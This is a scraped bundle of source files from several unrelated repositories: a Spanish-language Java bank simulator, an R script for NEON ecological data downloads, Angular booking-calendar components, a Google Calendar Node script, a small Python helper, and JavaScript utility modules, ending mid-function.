java.util.ArrayList; import java.util.List; public class Gerente extends Ejecutivo { private Aprobador siguiente; protected int tipoGerente; public List<String> gerentes; public Gerente(int tipoGerente) { this.tipoGerente = tipoGerente; this.gerentes = new ArrayList<String>(); } public int getTipoGerente() { return tipoGerente; } public void setTipoGerente(int tipoGerente) { this.tipoGerente = tipoGerente; } public Aprobador getNext() { if(this.getTipoGerente() == 1) { return this.siguiente; } else { System.err.println("No se pudo completar su transacción"); System.err.println("intentelo de nuevo."); return null; } } @Override public void aprobar(Cuenta cuenta) { if(cuenta.getTipoCuenta() == "hip" || cuenta.getTipoCuenta() == "cre") { System.out.println("la trato yo, el gerente tipo 2"); } } } <file_sep>/src/cuenta_persona_banco/Aprobador.java package cuenta_persona_banco; public interface Aprobador { public void aprobar(Cuenta cuenta); public void setNext(Aprobador aprobador); public Aprobador getNext(); } <file_sep>/src/Main.java import java.util.List; import cuenta_persona_banco.*; import archivo.*; public class Main { private Persona persona; public static void main(String[] args) { Interfaz in = new Interfaz(); in.generarMenu(); } } <file_sep>/src/cuenta_persona_banco/Cheques.java package cuenta_persona_banco; public class Cheques extends Cuenta { public Cheques() { this.tipoCuenta = "che"; System.out.println("Cheques creado"); } } <file_sep>/src/cuenta_persona_banco/Hipoteca.java package cuenta_persona_banco; public class Hipoteca extends Cuenta { private int periodoCreditoMeses = 0; private double tasaInteres = 0; String[] fecha = new String[3]; public Hipoteca(int periodoEstablecido, double tasaInteres) { super.setTipoCuenta("hip"); this.crear(periodoEstablecido, tasaInteres); } public void crear(int periodoEstablecido, double tasaInteres) { this.setPeriodoCreditoMeses(periodoEstablecido); this.setTasaInteres(tasaInteres); } protected boolean checarPeriodoActual(int periodoActual) { String fechaCreacion = this.getFechaCreacion(); fecha = fechaCreacion.split("/"); int mes = Integer.parseInt(fecha[1]); System.out.println(mes + " " + fecha[1]); if(mes > periodoActual) { System.out.println("Periodo agotado"); return false; } else { System.out.println("Periodo vigente"); return true; } } public void setPeriodoCreditoMeses(int periodoCreditoMeses) { this.periodoCreditoMeses = periodoCreditoMeses; } public int getPeriodoCreditoMeses() { return periodoCreditoMeses; } public void setTasaInteres(double tasaInteres) { this.tasaInteres = tasaInteres; } public double getTasaInteres() { return tasaInteres; } } <file_sep>/src/cuenta_persona_banco/Cuenta.java package cuenta_persona_banco; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.List; import java.util.Random; public abstract class Cuenta { private String numeroCuenta; protected String tipoCuenta; public List<String> operaciones; protected Date fechaInicial; private DateFormat dateFormat = new SimpleDateFormat("yyyy/MM/dd"); private double saldo = 0; public Cuenta() { this.fechaInicial = new Date(); this.operaciones = new ArrayList<String>(); } public double getSaldo() { return this.saldo; } public void setSaldo(double saldo) { this.saldo = saldo; } public String getNumeroCuenta() { return this.numeroCuenta; } public void setNumeroCuenta() { Random rand = new Random(); this.numeroCuenta = Integer.toString(rand.nextInt(1000) + 1); System.out.println("Numero de cuenta: " + this.numeroCuenta ); } public String getTipoCuenta() { return this.tipoCuenta; } public void setTipoCuenta(String tipoCuenta) { this.tipoCuenta = tipoCuenta; } public String getFechaCreacion() { return dateFormat.format(this.fechaInicial); } } <file_sep>/src/cuenta_persona_banco/Persona.java package cuenta_persona_banco; import java.util.ArrayList; import java.util.List; public abstract class Persona { private Cuenta cuenta; private String usuario, nombre; protected Persona persona; protected List<String> numerosCuenta; protected List<Cuenta> cuentas; private int cantidadCuentas; public Persona() { cantidadCuentas = 0; numerosCuenta = new ArrayList<String>(); cuentas = new ArrayList<Cuenta>(); } public void eliminar() { //Eliminar usuario } public Cuenta getCuenta() { return cuenta; } public void setCuenta(Cuenta cuenta) { if(cantidadCuentas < 5) { numerosCuenta.add(cuenta.getNumeroCuenta()); cantidadCuentas += 1; } else { System.out.println("Numero maximo de cuentas alcanzado(5)"); return; } } public String getUsuario() { return usuario; } public void setUsuario(String usuario) { this.usuario = usuario; } public String getNombre() { return nombre; } public void setNombre(String nombre) { this.nombre = nombre; } public int getCantidadCuentas() { return this.cantidadCuentas; } public List<String> getNumerosCuenta() { return this.numerosCuenta; } public Persona getPersona(String usuario) { this.usuario = usuario; return this.persona; } }
d4c06784943f5c64dfba1c7d534f5a5490dfb34e
[ "Java" ]
11
Java
buucooe/SimuladorBanco
e04004f94580edf0fc882dd9571f5288cb227f87
f013f472615864c5e9bc98c5da06ec4c3e93084c
refs/heads/master
<file_sep># <NAME> # University of Florida # June 2018 # This script serves to extract data from the NEON website. It also creates the folders to # store the data, merges all monthly data into 1 data set and gets rid of all the original # zipped and unzipped files that were downloaded. # The location for which data is required can be specified/changed in the script. # There is a package to extract NEON data that will be employed here. This needs to be downloaded # the Github repo. Explanation: https://www.neonscience.org/neonDataStackR rm(list=ls(all=TRUE)) # You need the package 'devtools' to install from Github. # install.packages("devtools") # load devtools library(devtools) # install neonUtilities from GitHub #install_github("NEONScience/NEON-utilities/neonUtilities", dependencies=TRUE) # load neonUtilities library(neonUtilities) ################ Download the data and stack it - per site ################ # To download the files, you need to know the product ID # Woody plant vegetation structure: DP1.10098.001 # Plant presence and percent cover: DP1.10058.001 # Plant phenology: DP1.10055.001 # Phenology images: DP1.00033.001 # Understory phenology: DP1.00042.001 # This script does not download LiDAR or other airborne observations. That is dealt with in a # different script # You also need to indicate the locations for which data needs to be downloaded. We are interested # in the Ordway Swisher Biological Station (FL), Disney Wildlife Preserve (FL) and Jones # Ecological Research Center (GA) data, all southeast domain # The code is: GUAN # you have to download each site separately, and then process the data and remove the folder # that is created during the download, before downloading for another site. The download # always creates a folder with the same name (the product ID) which causes trouble if you try to # download the same product for different sites # create a folders to save the data in site_list <- c("GUAN") for(i in site_list){ dir.create(paste("Data/Veg_structure/",i,sep="")) } # Make a loop to download everything you need. This might take a while, depending on what you download product_list <- c("DP1.10098.001","DP1.10058.001","DP1.10055.001","DP1.00033.001","DP1.00042.001") for(i in site_list){ for(j in product_list){ # check if the data exists, and if not, skip this loop download_test<-try(zipsByProduct(dpID=j, site=i,check.size=FALSE, savepath=paste(getwd(),"/Data/Veg_structure/",i,"/",sep="")), silent=TRUE) if ('try-error' %in% class(download_test)) next } } # You now have lots of folders with zipped files, for each month. Put them together # Even though this script is contained in an Rproject, which set the working directory, the following # command still needs a full path - which is why getwd() is pasted together with the folder name for(i in site_list){ # Make a list of all the folders with data all_folders <- list.files(path = paste(getwd(),"/Data/Veg_structure/",i,sep=""), pattern = "filesToStack*") # The following command combines all the data. It stays within the "filesToStack####" file, but # all zipped files are removed # first create a new directory for all the new data dir.create(paste(getwd(),"/Data/Veg_structure/",i,"/all_data",sep="")) for(p in all_folders){ stackByTable(filepath=paste(getwd(),"/Data/Veg_structure/",i,"/",p,sep=""), savepath = paste(getwd(),"/Data/Veg_structure/",i,"/all_data",sep=""), folder = TRUE) # since the stackByTable fucntion creates a folder "stackedFiles" and then removes the zipped files, # you have to create a separate folder to put the stacked data in. There are now a bunch of empty # folder you need to get rid of unlink(paste(getwd(),"/Data/Veg_structure/",i,"/",p,sep=""),recursive=TRUE) } # the new data also sits two folders deep. Move it up to the 'all_data' folder file.copy(from = paste(getwd(),"/Data/Veg_structure/",i,"/all_data/stackedFiles",sep=""), to = paste(getwd(),"/Data/Veg_structure/",i,sep=""), recursive = TRUE, overwrite=TRUE) # now remove the older (deeper) folder unlink(paste(getwd(),"/Data/Veg_structure/",i,"/all_data/stackedFiles",sep=""), recursive=TRUE) unlink(paste(getwd(),"/Data/Veg_structure/",i,"/all_data",sep=""), recursive=TRUE) file.rename(from = paste(getwd(),"/Data/Veg_structure/",i,"/stackedFiles",sep=""), to = paste(getwd(),"/Data/Veg_structure/",i,"/all_data",sep="")) } # All the data now sits in the folder: # "Data/Veg_structure/GUAN/all_data" <file_sep># Capstone project RSDI2018 This repo contains notes and codes for the NEON 2018 Summer Data Institute capstone project. Team: <NAME> <NAME> <NAME> <file_sep># Capstone project <NAME> <NAME> <NAME> ## Research question Could waveform LiDAR give us extra information on vegetation structure, specifically understory and/or complexity, compared to discrete LiDAR? ## Implementation We used waveform LiDAR data from a relocatable site in Puerto Rico: Rio Guilarte (GUIL). This is an aquatic site - which is not ideal, since it wold be good to also have vegetation structure data from terrestrial. It was difficult to access the coordinates of the waveform LiDAR data, as this would still involved accessing millions of data points, which would take too long. We eventually accessed a random number of pulses, and determined the area it covered. | | Easting | Northing | Lat | lon | |-------|------------|------------|-----------|-------------| | min | 733720 | 2011741 | 18.182115 | -66.790397 | | max | 734414 | 2011846 | 18.182988 | -66.783828 | We extracted x, y and z coordinates for all the pulse returns. We also obtained the discrete LiDAR data for this trajectory, using LAStools to unzip, and FUSION to calculate a DTM. We calculated forest density from the discrete LiDAR (vegetation > 1m).
9079e0659c1d199de57feca0f9b9819d04ae3bc9
[ "Markdown", "R" ]
3
R
gklarenberg/Capstone_project_RSDI2018
55006fdbbe17ba71d7b03bb926338ccb3d1eaa2a
c53d069edfa8508244802fdf0a1bdbff6f57cd83
refs/heads/master
<file_sep>const { google } = require('googleapis'); const { OAuth2 } = google.auth; const oAuth2Client = new OAuth2('996490370597-qg1if6r94dfgcikrdq2imabd747cufdd.apps.googleusercontent.com', 'upBzsDL5d9ID3W95l-LOaXnK') oAuth2Client.setCredentials({ refresh_token: '<KEY>' }); const calendar = google.calendar({ version: 'v3', auth: oAuth2Client }); const eventStartTime = new Date(); eventStartTime.setDate(eventStartTime.getDate() + 2); const eventEndTime = new Date(); eventEndTime.setDate(eventEndTime.getDate() + 2); eventEndTime.setMinutes(eventEndTime.getMinutes() + 45); const event = { summary: 'Meet with Yuliana to have some fun', location: '10 Arlington Ave, Clifton, NJ 07011', description: 'Meeting with Yuliana to talk about new project and how to add google calendar API', start: { dateTime: eventStartTime, timeZine: 'America/New_York' }, end: { dateTime: eventEndTime, timeZine: 'America/New_York' }, colorId: 1 } calendar.freebusy.query({ resource: { timeMin: eventStartTime, timeMax: eventEndTime, timeZine: 'America/New_York', items: [{ id: 'primary' }] } }, (err, res) => { if(err) return console.error('Free Busy Query Error: ', err) const eventsArray = res.data.calendars.primary.busy; if(eventsArray.length === 0) return calendar.events.insert({ calendarId: 'primary', resource: event }, (err)=>{ if(err) return console.error('Calendar Event Creation Error: ', err) return console.log('Calendar Event Created. '); }) return console.log('Sorry Im Busy'); }); <file_sep>import { Component, OnInit, Input, Inject, ViewChild, ChangeDetectorRef } from '@angular/core'; import { NgForm, FormControl, FormBuilder, FormGroup, Validators } from '@angular/forms'; import { HttpClient, HttpHeaders } from '@angular/common/http'; import { MatDialog, MatDialogRef, MAT_DIALOG_DATA } from '@angular/material/dialog'; //import { MAT_DIALOG_DATA } from '@angular/material/dialog'; import { DialogComponent } from '../dialog/dialog.component'; import { STEPPER_GLOBAL_OPTIONS } from '@angular/cdk/stepper'; import { ThemePalette } from '@angular/material/core'; import { CalendarView, CalendarEvent } from 'angular-calendar'; import { startOfDay } from 'date-fns'; import { faCoffee } from '@fortawesome/free-solid-svg-icons'; import { faCheck } from '@fortawesome/free-solid-svg-icons/faCheck' import { AppointmentService } from '../../services/appointment.service'; import { MatStepper } from '@angular/material/stepper'; import * as moment from 'moment'; import { from } from 'rxjs'; @Component({ selector: 'app-calendar', templateUrl: './calendar.component.html', styleUrls: ['./calendar.component.less'], providers: [{ provide: STEPPER_GLOBAL_OPTIONS, useValue: { showError: true } }] }) export class CalendarComponent implements OnInit { @ViewChild('stepper') stepper!: MatStepper; // for custom change stepper angular material appointmentForm!: FormGroup; // main form group timeFlag: boolean = false; calendarFlag: boolean = false; faCheck = faCheck; firstFormGroup!: FormGroup; secondFormGroup!: FormGroup; isEditable = true; constructor( private _formBuilder: FormBuilder, private dialog: MatDialog, private _appointment: AppointmentService, private changeDetectorRef: ChangeDetectorRef //public dialogRef: MatDialogRef<DialogComponent>, //@Inject(MAT_DIALOG_DATA) public data: any ) { } ngOnInit() { this.appointmentForm = this._formBuilder.group({ userName: ['', [Validators.required]], userPhone: ['', [Validators.required]], userEmail: ['', [Validators.required]] }); this.firstFormGroup = this._formBuilder.group({ firstCtrl: ['', Validators.required] }); this.secondFormGroup = this._formBuilder.group({ secondCtrl: ['', Validators.required] }); //this.events; } services = [ { id: 1, type: '1 Bedroom', duration: 1, price: 119.99, additional: [ { type: '1 BATHROOM', duration: 1, price: 110, completed: false, color: 'primary', }, { type: '2 BATHROOM', duration: 2, price: 140, completed: false, color: 'primary', }, { type: '3 BATHROOM', duration: 3, price: 180, completed: false, color: 'primary', }, { type: '4 BATHROOM', duration: 4, price: 200, completed: false, color: 'primary', }, { type: '5 BATHROOM', duration: 5, price: 220, completed: false, color: 'primary', } ] }, { id: 2, type: '2 Bedroom', duration: 2, price: 149.99, additional: [ { type: '1 BATHROOM', duration: 1, price: 110, completed: false, color: 'primary', }, { type: '2 BATHROOM', duration: 2, price: 140, completed: false, color: 'primary', }, { type: '3 BATHROOM', duration: 3, price: 180, completed: false, color: 'primary', }, { type: '4 BATHROOM', duration: 4, price: 200, completed: false, color: 'primary', }, { type: '5 BATHROOM', duration: 5, price: 220, completed: false, color: 'primary', } ] }, { id: 3, type: '3 Bedroom', duration: 2.30, price: 179.99, additional: [ { type: '1 BATHROOM', duration: 1, price: 110, completed: false, color: 'primary', }, { type: '2 BATHROOM', duration: 2, price: 140, completed: false, color: 'primary', }, { type: '3 BATHROOM', duration: 3, price: 180, completed: false, color: 'primary', }, { type: '4 BATHROOM', duration: 4, price: 200, completed: false, color: 'primary', }, { type: '5 BATHROOM', duration: 5, price: 220, completed: false, color: 'primary', } ] }, { id: 4, type: '4 Bedroom', duration: 4, price: 210, additional: [ { type: '1 BATHROOM', duration: 1, price: 110, completed: false, color: 'primary', }, { type: '2 BATHROOM', duration: 2, price: 140, completed: false, color: 'primary', }, { type: '3 BATHROOM', duration: 3, price: 180, completed: false, color: 'primary', }, { type: '4 BATHROOM', duration: 4, price: 200, completed: false, color: 'primary', }, { type: '5 BATHROOM', duration: 5, price: 220, completed: false, color: 'primary', } ] }, { id: 5, type: 'Commercial Cleaning(2 Hours)', duration: 2, price: 160 }, { id: 6, type: 'Commercial Cleaning(4 Hours)', duration: 4, price: 320 } ] //showFiller = false; saveAppointments(form: NgForm) { console.log(form.value) } viewDate: Date = new Date(); view: CalendarView = CalendarView.Month; CalendarView = CalendarView; setView(view: CalendarView) { this.view = view; } //events: CalendarEvent[] = []; events: CalendarEvent[] = [ // { // start: startOfDay(new Date()), // title: 'First event', // }, // { // start: startOfDay(new Date()), // title: 'Second event', // }, // { // start: startOfDay(new Date()), // title: 'dsfdsffds event', // }, // { // start: new Date(2021,2,5,10,0,0,0), // title: 'testing', // }, // { // start: startOfDay(new Date(2021, 4, 2, 11, 55, 0)), // title: 'testing', // }, { start: new Date(2021, 2, 2, 15, 0, 0), end: new Date(2021, 2, 2, 16, 0, 0), title: 'duration 1 hour', }, ] schedule: any; dialogValue: any; sendValue: any; dayClicked({ date, events }: { date: Date; events: CalendarEvent[] }): void { //console.log(date, events); const fullYear = new Date(date).getFullYear(); const month = new Date(date).getMonth(); const day = new Date(date).getDate(); this.timeFlag = true; //this.dialog.open(DialogComponent) //let x=this.adminService.dateFormat(date) //this.openAppointmentList(x) const dialogRef = this.dialog.open(DialogComponent, { width: '250px', backdropClass: 'custom-dialog-backdrop-class', panelClass: 'custom-dialog-panel-class', data: { pageValue: this.sendValue } }); //console.log(dialogRef) dialogRef.afterClosed().subscribe((result) => { console.log(result.data.options.hour, result.data.options.period) let hour = Number(result.data.options.hour.split(':').shift()); if (result.data.options.period == 'pm') hour += 12; this.events.push({ start: new Date(fullYear, month, day, hour, 0, 0), //title: this.mainService, title: 'Not Available' }); const observable = from(this.events); observable.subscribe(item => { console.log(item); }) // create date time console.log('The dialog was closed', result.data.options); //this.dialogValue = result.data; //if (result) this.stepper.selectedIndex = 1; // move to the next stepper menu this.dialogValue = dialogRef; //console.log('The dialog was closed', this.dialogValue ); }, error => { console.log(error) }); } // checkboxData() { // this.timeFlag = false; // } bookCalendar() { this.calendarFlag = !this.calendarFlag; } // appointment data from calendar; timeSchedule: any; // mainService mainService!: string; chooseMainService(service: string) { this.mainService = service; } // additionalServices additionalServicesArray: any = []; additionalServices(event: any) { this.additionalServicesArray.push(event.source.value); console.log(this.additionalServicesArray); } // grab all data in one object from form userAppointment() { const dataUserForm = { service: this.mainService, additionalService: this.additionalServicesArray, appointmentTime: this.timeSchedule, userName: this.appointmentForm.value.userName, userPhone: this.appointmentForm.value.userPhone, userEmail: this.appointmentForm.value.userEmail } console.log(dataUserForm); } // *** start accordion expansion-panel currentOpenedItemId: number = 1; public handleOpened(item: any): void { this.currentOpenedItemId = item.id; } // *** end accordion expansion-panel } <file_sep>import { NgModule } from '@angular/core'; import { BrowserModule } from '@angular/platform-browser'; import { FormsModule, ReactiveFormsModule } from '@angular/forms'; import { HttpClientModule } from '@angular/common/http'; import { AppRoutingModule } from './app-routing.module'; import { AppComponent } from './app.component'; import { BrowserAnimationsModule } from '@angular/platform-browser/animations'; import { CalendarModule, DateAdapter } from 'angular-calendar'; import { adapterFactory } from 'angular-calendar/date-adapters/date-fns'; //import { MaterialCalendarModule } from 'material-calendar'; import { CalendarComponent } from './pages/calendar/calendar.component'; // Angular-Materials import { MatCardModule } from '@angular/material/card'; import { MatButtonToggleModule } from '@angular/material/button-toggle'; import { MatSelectModule } from '@angular/material/select'; import { MatInputModule } from '@angular/material/input'; import { MatButtonModule } from '@angular/material/button'; import { MatListModule } from '@angular/material/list'; import { MatStepperModule } from '@angular/material/stepper'; import { MatExpansionModule } from '@angular/material/expansion'; import { MatFormFieldModule } from '@angular/material/form-field'; import { MatProgressSpinnerModule } from '@angular/material/progress-spinner'; import { MatDialogModule } from '@angular/material/dialog'; import { MatToolbarModule } from '@angular/material/toolbar'; import { MatCheckboxModule } from '@angular/material/checkbox'; import { MatSidenavModule } from '@angular/material/sidenav'; import { DialogComponent } from './pages/dialog/dialog.component'; import {MatRadioModule} from '@angular/material/radio'; //import {MatTableDataSource} from '@angular/material/table'; import { FontAwesomeModule } from '@fortawesome/angular-fontawesome'; @NgModule({ declarations: [ AppComponent, CalendarComponent, DialogComponent ], imports: [ BrowserModule, AppRoutingModule, BrowserAnimationsModule, FormsModule, ReactiveFormsModule, CalendarModule.forRoot({ provide: DateAdapter, useFactory: adapterFactory, }), MatCardModule, MatSelectModule, MatInputModule, MatButtonModule, MatListModule, MatStepperModule, MatExpansionModule, MatFormFieldModule, MatProgressSpinnerModule, MatDialogModule, MatButtonToggleModule, MatToolbarModule, MatCheckboxModule, MatSidenavModule, HttpClientModule, MatRadioModule, //MatTableDataSource, FontAwesomeModule // MaterialCalendarModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } <file_sep>import { Component, OnInit, Inject, Output, EventEmitter } from '@angular/core'; import { MAT_DIALOG_DATA, MatDialogRef, MatDialog } from '@angular/material/dialog'; import { FormBuilder, FormGroup, Validators } from '@angular/forms'; import { AppointmentService } from '../../services/appointment.service'; import { Subject } from 'rxjs'; @Component({ selector: 'app-dialog', templateUrl: './dialog.component.html', styleUrls: ['./dialog.component.less'] }) export class DialogComponent implements OnInit { @Output() submitClicked = new EventEmitter<any>(); timeFlag: boolean = false; timeAppointmentForm!: FormGroup; //= new FormGroup({}); //= new FormGroup({}); fromPage: any; fromDialog: any; constructor( private _formBuilder: FormBuilder, private _appointment: AppointmentService, public dialogRef: MatDialogRef<DialogComponent>, private dialog: MatDialog, @Inject(MAT_DIALOG_DATA) public data: any ) { this.fromPage = data.pageValue;} ngOnInit() { this.timeAppointmentForm = this._formBuilder.group({ //options: ['', [Validators.required]] options: ['' , [Validators.required]] }); } times = [ { hour: '6:00', period: 'am' }, { hour: '7:00', period: 'am' }, { hour: '9:00', period: 'am' }, { hour: '10:00', period: 'am' }, { hour: '11:00', period: 'am' }, { hour: '12:00', period: 'pm' }, { hour: '1:00', period: 'pm' }, { hour: '2:30', period: 'pm' }, { hour: '3:00', period: 'pm' }, { hour: '4:30', period: 'pm' }, { hour: '5:00', period: 'pm' }, { hour: '6:30', period: 'pm' }, { hour: '7:00', period: 'pm' }, { hour: '8:00', period: 'pm' }, { hour: '9:00', period: 'pm' }, { hour: '10:00', period: 'pm' }, { hour: '11:00', period: 'pm' }, { hour: '12:00', period: 'am' }, { hour: '1:00', period: 'am' }, { hour: '2:00', period: 'am' }, { hour: '3:00', period: 'am' }, { hour: '4:00', period: 'am' }, { hour: '5:00', period: 'am' } ]; chooseAppointmentTime() { //console.log('hello', this.timeAppointmentForm.value) this.fromDialog = this.timeAppointmentForm.value; this.dialogRef.close({ event: 'close', data: this.fromDialog }); } onClose() { this.dialogRef.close(); //this.dialogRef.close(); //return false; } checkTime(event: any) { console.log(event) } }
fe6d9faa2f2d1c269104fcfb5f198877bbeee2c1
[ "JavaScript", "TypeScript" ]
4
JavaScript
TarasOstasha/booking-calendar
361f8f25d99a0a032861ababc2bc8f57ac006b61
3a9ab23a0487efbda0b72887e44437e4fef34eca
refs/heads/master
<repo_name>felipetorreslinux/drivepetdrive<file_sep>/app/src/main/java/com/drivepetdriver/Fragments/Conta_Fragment.java package com.drivepetdriver.Fragments; import android.app.Fragment; import android.os.Bundle; import android.support.annotation.Nullable; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import com.drivepetdriver.R; public class Conta_Fragment extends Fragment implements View.OnClickListener { View rootview; @Nullable @Override public View onCreateView (LayoutInflater inflater, @Nullable ViewGroup viewGroup, Bundle savedInstanceState){ rootview = inflater.inflate(R.layout.fragment_conta, viewGroup, false); return rootview; } @Override public void onClick(View view) { } }
effebcf9f816a24402cdb61edf2973065b651232
[ "Java" ]
1
Java
felipetorreslinux/drivepetdrive
c7d44df6c70eb121b257ac61b08800a1193a2acf
15d31e107f3a5815b28ab34c76a512bfc66eacbe
refs/heads/master
<repo_name>Mmark94/bash_to_python<file_sep>/README.md # bash-to-python A simple script to convert bash codes in python codes. <file_sep>/bash-python.py # cp "$sample1"-Canu/"$sample1"_canu.contigs.fasta Assembly-9/"$sample1"_canu.contigs.fasta # \" + str(x) + \" # print("\"") # \" + str(x) + \" out = "" # Type here the code to convert from bash to python. Careful, the script will convert every "1" in the variable "x" P = """gzip -d "$sample1".fastq.gz""" for letter in P: if letter is "\"": out = out + "\\" if letter is "1": out = out + "\" + str(x) + \"" else: out = out + letter print(out) # x = 0 t=1 while t<24: x=x+1 print("echo \"$sample" + str(x) + "\"") print("gzip \"$sample" + str(x) + "\".fastq") #print("cp \"$sample" + str(x) + "\".fastq.gz \"$sample" + str(x) + "\"-cut.fastq.gz") print("gunzip -c \"$sample" + str(x) + "\".fastq.gz | NanoFilt -l 750 -q 6 --readtype 1D > \"$sample" + str(x) + "\"_cut.fastq") print("gzip -d \"$sample" + str(x) + "\".fastq.gz") print("\n") t=t+1
dbcd3ecd2a38bd8a47a208ec3d4148daa888cfe2
[ "Markdown", "Python" ]
2
Markdown
Mmark94/bash_to_python
f6fe6e6838710c9036dfd169c6215cebaa258668
edb932e72f575d5e81d397e07f3338be183774ea
refs/heads/master
<file_sep>import React, { Component } from 'react'; import './Header.css'; import Navbar from './navbar/Navbar'; class Header extends Component { render() { const navItems = [ { url: "#profile", label: "profile" }, { url: "#skills", label: "skills" }, { url: "#contact", label: "contato" } ]; return ( <header className="header"> <h1 className="logo"><a href="/">LGMF</a></h1> <Navbar navItems={navItems} /> </header> ); } } export default Header; <file_sep>import React, { Component } from 'react'; import './Navbar.css'; class Navbar extends Component { buildNavItem(navItem, index) { return <li className="item" key={index}><a href={navItem.url}>{navItem.label}</a></li> } buildNavItems(navItems = []) { return navItems.map((navItem, index) => this.buildNavItem(navItem, index)); } render() { const navItemTemplate = this.buildNavItems(this.props.navItems); return ( <nav> <ul className="list"> {navItemTemplate} </ul> </nav> ); } } export default Navbar;
41034cecd28d0a65cffdea080fe54a6fa4b86c91
[ "JavaScript" ]
2
JavaScript
lgmf/my-portfolio
168604a3657951efe24cb4e93c352dc21dc44937
b1f336faf3ea501d8e255067780f15d9f0a908fc
refs/heads/master
<file_sep>/** * @module resource * @desc RequireJS/Angular module * @author ankostyuk */ define(function(require) {'use strict'; require('lodash'); var angular = require('angular'); return angular.module('np.resource', []) // .factory('npResource', ['$log', '$q', '$http', function($log, $q, $http){ // API var npResource = { request: function(httpConfig, requestConfig, options) { requestConfig = requestConfig || {}; options = options || {}; if (options.previousRequest) { options.previousRequest.abort(); } var canceler = $q.defer(), completer = $q.defer(), complete = false; var promise = $http(_.extend({ timeout: canceler.promise }, httpConfig)); promise .success(function(data, status, headers, config){ if (_.isFunction(requestConfig.responseProcess)) { data = requestConfig.responseProcess(data, status, headers, config); } if (_.isFunction(options.success)) { options.success(data, status, headers, config); } }) .error(function(data, status, headers, config){ if (_.isFunction(options.error)) { options.error(data, status, headers, config); } }) ['finally'](function(){ complete = true; completer.resolve(); }); return { promise: promise, completePromise: completer.promise, abort: function(){ canceler.resolve(); }, isComplete: function(){ return complete; } }; }, multiRequest: function(httpConfigs, requestConfig, options) { requestConfig = requestConfig || {}; options = options || {}; if (options.previousRequest) { options.previousRequest.abort(); } var requests = {}, promises = [], completePromises = []; _.each(httpConfigs, function(httpConfig, key){ var request = npResource.request(httpConfig, requestConfig, { success: function(data, status) { requests[key].response = { data: data, status: status, hasError: false }; }, error: function(data, status) { requests[key].response = { data: data, status: status, hasError: true }; } }); requests[key] = { request: request, response: null }; promises.push(request.promise); completePromises.push(request.completePromise); }); var promise = $q.all(promises).then( function(){ if (_.isFunction(options.success)) { options.success(requests); } }, function(){ if (_.isFunction(options.error)) { options.error(requests); } } ); var completePromise = $q.all(completePromises); return { promise: promise, completePromise: completePromise, abort: function() { _.each(requests, function(r){ r.request.abort(); }); }, isComplete: function() { var complete; _.each(requests, function(r){ complete = r.request.isComplete(); return complete; }); return complete; } }; } }; return npResource; }]); // }); <file_sep>/** * @module template-utils * @desc template-utils RequireJS-модуль * @author ankostyuk */ define(function(require) {'use strict'; require('lodash'); require('jquery'); var i18n = require('i18n'); // function processTemplate(template) { var translatedTemplate = i18n.translateTemplate(template), templates = {}; // templates $(translatedTemplate).each(function(){ var $template = $(this), tid = $template.attr('id'); if (tid) { templates[tid] = { html: $template.html(), 'class': $template.attr('data-class'), 'parent-class': $template.attr('data-parent-class') }; } }); // include process var compileSettings = { escape: '', evaluate: '', interpolate: /\{%=([\s\S]+?)%\}/g }; var compileHelper = { include: function(templateId){ return templates[templateId].html; } }; _.each(templates, function(t){ t.html = _.template(t.html, compileSettings)(compileHelper); }); // API return { translatedTemplate: translatedTemplate, templates: templates }; } // return { processTemplate: processTemplate }; }); <file_sep>/** * @module utils * @desc utils RequireJS-модуль * @author ankostyuk */ define(function(require, exports, module) { require('jquery'); require('lodash'); // require('dateformat'); // @Deprecated require('session'); // var session = window.session; // var _Utils = { formatNumber: function(number, options, precision) { var format = options.format; if (_.isNumber(precision)) { format = options.format.slice(0); format[0] = precision; } if (!options.humanize.round && format[0] !== 0) { var decimals = format[0]; var d = Math.pow(10, decimals); number = Math.round(number * d) / d; var numberStr = '' + number; var i = numberStr.indexOf('.'); var fractionalSize = (i >= 0 ? numberStr.substring(i + 1).length : 0); if (fractionalSize !== decimals) { format = options.format.slice(0); format[0] = fractionalSize; } } var args = _.union([number], format); return _.numberFormat.apply(this, args); }, humanizeNumder: function(number, precision, formatOptions) { var numderSizes = formatOptions.numderSizes; if (!_.isNumber(number)) { return numderSizes[0]; } var i = 1; while (number >= 1000 && (i < numderSizes.length - 1)) { i++; number = number / 1000; } var nf = _Utils.formatNumber(number, formatOptions, precision); return $.trim(nf.replace(/\.0+$/, '') + (numderSizes[i] ? (' ' + numderSizes[i]) : '')); }, isBlankValue: function(value) { return (_.isUndefined(value) || _.isNull(value) || _.isNaN(value) || value === ''); }, isEmpty: function(value) { return _.isEmpty(value); }, getDeltaTime: function(startDate) { return (new Date().getTime() - startDate.getTime()) / 1000; }, // @Deprecated loadTemplates: function(options) { var templates = ''; $.ajax({ url: options.url, async: options.async, cache: options.cache, success: function(data){ templates = data; options.success.call(options.context ? options.context : this, templates); }, error: function(jqXHR, textStatus, errorThrown){ throw 'Templates load error: ' + errorThrown; } }); } }; var _StringUtils = { findByWords: function(words, queryWords) { var findCount = 0; $.each(queryWords, function(i, queryWord){ $.each(words, function(i, word){ if (word.indexOf(queryWord) === 0) { findCount++; return false; } }); }); return (findCount === queryWords.length); } }; // var _DateUtils = { formatDateTime: function(value, format) { var date = _.isString(value) ? new Date(Date.parse(value)) : new Date(value); return date.format(format ? format : 'dd.mm.yyyy HH:MM'); } }; // var _DOMUtils = { window: function() { _DOMUtils._window = _DOMUtils._window || $(window); return _DOMUtils._window; }, document: function() { _DOMUtils._document = _DOMUtils._document || $(document); return _DOMUtils._document; }, body: function() { _DOMUtils._body = _DOMUtils._body || $('body'); return _DOMUtils._body; }, getBrowserIdClasses: function() { return [ 'browser_' + session.browser.browser, 'browser-version_' + parseInt(session.browser.version), // major version 'os_' + session.browser.os ].join(' ').toLowerCase(); }, isSubElement: function(parentElement, element) { return parentElement.is(element) || parentElement.find(element).length; }, attrAsClass: function(element, attr) { var sep = '__', add = '', remove = '', attrInfo = {}; $.each(attr, function(k, v){ attrInfo[k] = { pref: k + sep, className: k + sep + v }; }); $.each((element.attr('class') || '').split(' '), function(i, c){ $.each(attr, function(k, v){ if (c === attrInfo[k].className) { attrInfo[k].change = false; return; } else if (c.indexOf(attrInfo[k].pref) === 0) { remove += (c + ' '); return; } }); }); $.each(attr, function(k, v){ if (v !== null && attrInfo[k].change !== false) { add += (attrInfo[k].className + ' '); } }); element.removeClass(remove).addClass(add); }, positionDocumentToElement: function(position, element) { var offset = element.offset(); return { 